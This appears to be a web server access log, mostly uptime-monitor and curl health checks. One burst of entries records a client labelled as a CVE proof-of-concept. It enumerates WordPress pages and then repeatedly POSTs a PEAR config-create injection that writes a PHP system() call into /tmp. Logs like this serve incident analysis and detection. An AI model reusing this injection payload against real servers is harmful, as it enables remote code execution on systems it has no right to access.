::1 - - [08/Oct/2026:02:30:04 +0800] "GET / HTTP/1.1" 302 411 "-" "curl/8.5.0"
::1 - - [08/Oct/2026:02:30:04 +0800] "GET / HTTP/1.1" 302 4393 "-" "curl/8.5.0"
::1 - - [08/Oct/2026:02:30:04 +0800] "HEAD / HTTP/1.1" 302 4373 "-" "curl/8.5.0"
140.136.202.239 - - [08/Oct/2026:02:30:38 +0800] "GET / HTTP/1.1" 302 411 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:30:38 +0800] "GET / HTTP/1.1" 200 109423 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:30:43 +0800] "GET / HTTP/1.1" 302 4173 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:30:43 +0800] "GET / HTTP/1.1" 200 113616 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:31:38 +0800] "GET / HTTP/1.1" 302 411 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:31:38 +0800] "GET / HTTP/1.1" 200 109423 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:31:43 +0800] "GET / HTTP/1.1" 302 4172 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:31:43 +0800] "GET / HTTP/1.1" 200 113617 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:32:38 +0800] "GET / HTTP/1.1" 302 411 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:32:38 +0800] "GET / HTTP/1.1" 200 109423 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:32:43 +0800] "GET / HTTP/1.1" 302 4171 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:32:43 +0800] "GET / HTTP/1.1" 200 113615 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:33:38 +0800] "GET / HTTP/1.1" 302 411 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:33:38 +0800] "GET / HTTP/1.1" 200 109423 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:33:43 +0800] "GET / HTTP/1.1" 302 4171 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:33:43 +0800] "GET / HTTP/1.1" 200 113616 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:34:38 +0800] "GET / HTTP/1.1" 302 411 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:34:38 +0800] "GET / HTTP/1.1" 200 109423 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:34:43 +0800] "GET / HTTP/1.1" 302 4172 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:34:43 +0800] "GET / HTTP/1.1" 200 113616 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.42 - - [08/Oct/2026:02:35:01 +0800] "GET / HTTP/1.1" 200 113750 "-" "curl/8.5.0"
::1 - - [08/Oct/2026:02:35:04 +0800] "GET / HTTP/1.1" 302 411 "-" "curl/8.5.0"
::1 - - [08/Oct/2026:02:35:04 +0800] "GET / HTTP/1.1" 302 4393 "-" "curl/8.5.0"
::1 - - [08/Oct/2026:02:35:04 +0800] "HEAD / HTTP/1.1" 302 4373 "-" "curl/8.5.0"
140.136.202.239 - - [08/Oct/2026:02:35:38 +0800] "GET / HTTP/1.1" 302 411 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:35:38 +0800] "GET / HTTP/1.1" 200 109423 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.248.142.179 - steps [08/Oct/2026:02:35:40 +0800] "HEAD / HTTP/1.1" 200 4619 "-" "Mozilla/5.0 (compatible; HostMonitor/1.0)"
140.136.202.239 - - [08/Oct/2026:02:35:43 +0800] "GET / HTTP/1.1" 302 4173 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:35:43 +0800] "GET / HTTP/1.1" 200 113616 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.248.142.179 - steps [08/Oct/2026:02:35:51 +0800] "HEAD / HTTP/1.1" 200 4620 "-" "Mozilla/5.0 (compatible; HostMonitor/1.0)"
140.136.202.239 - - [08/Oct/2026:02:36:38 +0800] "GET / HTTP/1.1" 302 411 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:36:38 +0800] "GET / HTTP/1.1" 200 109423 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:36:43 +0800] "GET / HTTP/1.1" 302 4171 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:36:43 +0800] "GET / HTTP/1.1" 200 113616 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:37:38 +0800] "GET / HTTP/1.1" 302 411 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:37:38 +0800] "GET / HTTP/1.1" 200 109423 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:37:43 +0800] "GET / HTTP/1.1" 302 4173 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:37:43 +0800] "GET / HTTP/1.1" 200 113617 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:38:38 +0800] "GET / HTTP/1.1" 302 411 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:38:38 +0800] "GET / HTTP/1.1" 200 109423 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:38:43 +0800] "GET / HTTP/1.1" 302 4172 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:38:43 +0800] "GET / HTTP/1.1" 200 113615 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:39:38 +0800] "GET / HTTP/1.1" 302 411 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:39:38 +0800] "GET / HTTP/1.1" 200 109423 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.254.241.78 - - [08/Oct/2026:02:39:40 +0800] "GET /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template HTTP/1.1" 200 7379 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:40 +0800] "POST / HTTP/1.1" 200 95148 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:41 +0800] "POST /?+config-create+/<?=system(chr(105).chr(100))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1" 200 95149 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:41 +0800] "POST / HTTP/1.1" 200 95150 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:42 +0800] "POST /?+config-create+/<?=system(chr(105).chr(100))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1" 200 95149 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:42 +0800] "POST / HTTP/1.1" 200 95148 "-" "cve-2026-87902-poc/1.0"
140.136.202.239 - - [08/Oct/2026:02:39:43 +0800] "GET / HTTP/1.1" 302 4172 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.136.202.239 - - [08/Oct/2026:02:39:43 +0800] "GET / HTTP/1.1" 200 113617 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.254.241.78 - - [08/Oct/2026:02:39:43 +0800] "POST /?+config-create+/<?=system(chr(105).chr(100))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1" 200 95148 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:43 +0800] "POST / HTTP/1.1" 200 95148 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:44 +0800] "POST /?+config-create+/<?=system(chr(105).chr(100))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1" 200 95149 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:44 +0800] "POST / HTTP/1.1" 200 95150 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:45 +0800] "POST /?+config-create+/<?=system(chr(105).chr(100))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1" 200 95148 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:45 +0800] "POST / HTTP/1.1" 200 95148 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:45 +0800] "POST /?+config-create+/<?=system(chr(105).chr(100))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1" 200 95150 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:46 +0800] "POST / HTTP/1.1" 200 95150 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:46 +0800] "POST /?+config-create+/<?=system(chr(105).chr(100))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1" 200 95149 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:46 +0800] "POST / HTTP/1.1" 200 95148 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:47 +0800] "POST /?+config-create+/<?=system(chr(105).chr(100))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1" 200 95150 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:47 +0800] "POST / HTTP/1.1" 200 95149 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:48 +0800] "POST /?+config-create+/<?=system(chr(105).chr(100))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1" 200 95149 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:48 +0800] "POST / HTTP/1.1" 200 95148 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:48 +0800] "POST /?+config-create+/<?=system(chr(105).chr(100))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1" 200 95148 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:49 +0800] "POST / HTTP/1.1" 200 95149 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:49 +0800] "POST /?+config-create+/<?=system(chr(105).chr(100))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1" 200 95147 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:50 +0800] "POST / HTTP/1.1" 200 95149 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:50 +0800] "POST /?+config-create+/<?=system(chr(105).chr(100))?>+/tmp/wp-pear-rce-flag.php HTTP/1.1" 200 95149 "-" "cve-2026-87902-poc/1.0"
167.254.241.78 - - [08/Oct/2026:02:39:51 +0800] "POST / HTTP/1.1" 200 95148 "-" "cve-2026-87902-poc/1.0"
140.136.202.42 - - [08/Oct/2026:02:40:02 +0800] "GET / HTTP/1.1" 200 113750 "-" "curl/8.5.0"